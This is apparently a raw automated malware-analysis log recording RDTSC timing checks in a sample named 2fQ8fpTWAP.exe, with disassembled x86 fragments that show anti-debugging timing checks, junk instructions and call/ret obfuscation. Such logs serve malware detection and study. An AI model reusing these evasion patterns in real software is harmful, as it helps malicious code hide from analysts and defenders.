Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F4F68 second address: 7F4FC6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F7A2CC6ACF0h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c or dword ptr [ebp+12483D01h], ebx 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D3BDBh] 0x0000001a jp 00007F7A2CC6ACEBh 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 clc 0x00000024 popad 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F7A2CC6ACE8h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 mov dword ptr [ebp+122D18B0h], ecx 0x00000047 mov di, 64C3h 0x0000004b xchg eax, esi 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F4FC6 second address: 7F4FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F5EBB second address: 7F5F21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F7A2CC6ACE8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D217Ah], eax 0x0000002d push 00000000h 0x0000002f xor bl, 00000000h 0x00000032 push 00000000h 0x00000034 add dword ptr [ebp+122D196Eh], edx 0x0000003a jmp 00007F7A2CC6ACECh 0x0000003f push eax 0x00000040 je 00007F7A2CC6AD09h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F7A2CC6ACF2h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F6F34 second address: 7F6F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F7FEB second address: 7F7FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7A2CC6ACE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F71B8 second address: 7F71BE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F81BC second address: 7F81DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7A2CC6ACF3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F81DA second address: 7F8281 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F7A2D39F168h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 jno 00007F7A2D39F16Ch 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F7A2D39F168h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov edi, dword ptr [ebp+122D395Bh] 0x00000057 mov eax, dword ptr [ebp+122D0C99h] 0x0000005d pushad 0x0000005e sub eax, dword ptr [ebp+122D3AFBh] 0x00000064 mov bx, EF88h 0x00000068 popad 0x00000069 push FFFFFFFFh 0x0000006b jmp 00007F7A2D39F170h 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 push ebx 0x00000074 jmp 00007F7A2D39F176h 0x00000079 pop ebx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7F8281 second address: 7F8286 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FA145 second address: 7FA14B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FA14B second address: 7FA14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FA14F second address: 7FA153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FC0CE second address: 7FC0DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2CC6ACEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FC0DC second address: 7FC0E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FB101 second address: 7FB115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A2CC6ACEFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FC0E0 second address: 7FC16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movsx edi, si 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F7A2D39F168h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D2C0Ch], ecx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F7A2D39F168h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c jne 00007F7A2D39F168h 0x00000052 xchg eax, esi 0x00000053 push edi 0x00000054 push edi 0x00000055 jmp 00007F7A2D39F16Fh 0x0000005a pop edi 0x0000005b pop edi 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f ja 00007F7A2D39F16Ch 0x00000065 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FD069 second address: 7FD07E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FD07E second address: 7FD106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F7A2D39F168h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov ebx, dword ptr [ebp+122D39E3h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F7A2D39F168h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 push eax 0x00000049 jo 00007F7A2D39F175h 0x0000004f jmp 00007F7A2D39F16Fh 0x00000054 pop ebx 0x00000055 push eax 0x00000056 push edi 0x00000057 push ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FF1F7 second address: 7FF1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FF1FE second address: 7FF215 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007F7A2D39F166h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F7A2D39F168h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FF215 second address: 7FF226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2CC6ACEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7FF226 second address: 7FF22A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8062E2 second address: 8062E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8062E6 second address: 8062FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2D39F170h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8062FC second address: 806302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7A7D92 second address: 7A7DB5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7A2D39F166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A2D39F175h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7A7DB5 second address: 7A7DC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 805B0D second address: 805B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 805B11 second address: 805B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 805B15 second address: 805B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7A2D39F16Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 805B2D second address: 805B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 805B31 second address: 805B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F7A2D39F177h 0x0000000e ja 00007F7A2D39F166h 0x00000014 jc 00007F7A2D39F166h 0x0000001a popad 0x0000001b pushad 0x0000001c jnc 00007F7A2D39F166h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 805CFF second address: 805D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jnc 00007F7A2CC6ACE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80A56A second address: 80A570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80A570 second address: 80A57D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81083E second address: 810842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80F60E second address: 80F62E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEEh 0x00000007 jno 00007F7A2CC6ACE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F7A2CC6ACE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80F62E second address: 80F632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80FBE2 second address: 80FC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7A2CC6ACE6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F7A2CC6ACE6h 0x00000013 jmp 00007F7A2CC6ACF5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80FC0A second address: 80FC1D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7A2D39F166h 0x00000008 jng 00007F7A2D39F166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80FC1D second address: 80FC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80FC23 second address: 80FC39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7A2D39F166h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jnp 00007F7A2D39F166h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80FDC4 second address: 80FDF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F7A2CC6ACF3h 0x0000000a popad 0x0000000b jng 00007F7A2CC6ACE8h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jc 00007F7A2CC6ACEEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 80FDF0 second address: 80FE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F7A2D39F16Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F7A2D39F166h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7954C0 second address: 7954EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7A2CC6ACEEh 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F7A2CC6ACE6h 0x00000013 jmp 00007F7A2CC6ACEFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7A4805 second address: 7A4822 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F7A2D39F16Ch 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007F7A2D39F166h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81C276 second address: 81C27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79F821 second address: 79F83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F7A2D39F16Ch 0x0000000d jno 00007F7A2D39F166h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79F83F second address: 79F844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B0E6 second address: 81B0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jl 00007F7A2D39F166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EBEB9 second address: 7EBEC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EC5F2 second address: 7EC5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EC5F6 second address: 7EC608 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7A2CC6ACE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EC703 second address: 7EC725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A2D39F176h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EC725 second address: 7EC733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EC733 second address: 7EC738 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7EC738 second address: 7EC785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F7A2CC6ACE8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 stc 0x00000023 sub ecx, 79F94FB1h 0x00000029 push 00000004h 0x0000002b jmp 00007F7A2CC6ACF2h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push ebx 0x00000034 jno 00007F7A2CC6ACE6h 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7ECAAD second address: 7ECAB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7ECE70 second address: 7ECE8A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7A2CC6ACECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F7A2CC6ACE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7ECE8A second address: 7ECEB5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A2D39F166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D3BF7h] 0x00000012 lea eax, dword ptr [ebp+1249095Eh] 0x00000018 push ecx 0x00000019 mov dword ptr [ebp+122D2551h], edi 0x0000001f pop ecx 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 jl 00007F7A2D39F168h 0x00000029 push eax 0x0000002a pop eax 0x0000002b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7ECEB5 second address: 7ECED0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7A2CC6ACECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F7A2CC6ACE6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7ECED0 second address: 7ECED6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7ECED6 second address: 7ECEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7ECEDC second address: 7C9A89 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jnc 00007F7A2D39F16Ch 0x0000000f lea eax, dword ptr [ebp+1249091Ah] 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F7A2D39F168h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f push edi 0x00000030 clc 0x00000031 pop ecx 0x00000032 push eax 0x00000033 jmp 00007F7A2D39F16Eh 0x00000038 mov dword ptr [esp], eax 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F7A2D39F168h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov dword ptr [ebp+122D17F4h], edi 0x0000005b call dword ptr [ebp+122D1AFCh] 0x00000061 push eax 0x00000062 push edx 0x00000063 je 00007F7A2D39F182h 0x00000069 jmp 00007F7A2D39F176h 0x0000006e js 00007F7A2D39F166h 0x00000074 jmp 00007F7A2D39F179h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7C9A89 second address: 7C9A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7A2CC6ACE6h 0x0000000a jmp 00007F7A2CC6ACEBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B67D second address: 81B68A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7A2D39F168h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B799 second address: 81B79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B8EB second address: 81B8FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2D39F16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B8FB second address: 81B8FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B8FF second address: 81B905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B905 second address: 81B913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F7A2CC6ACE6h 0x0000000e rdtsc
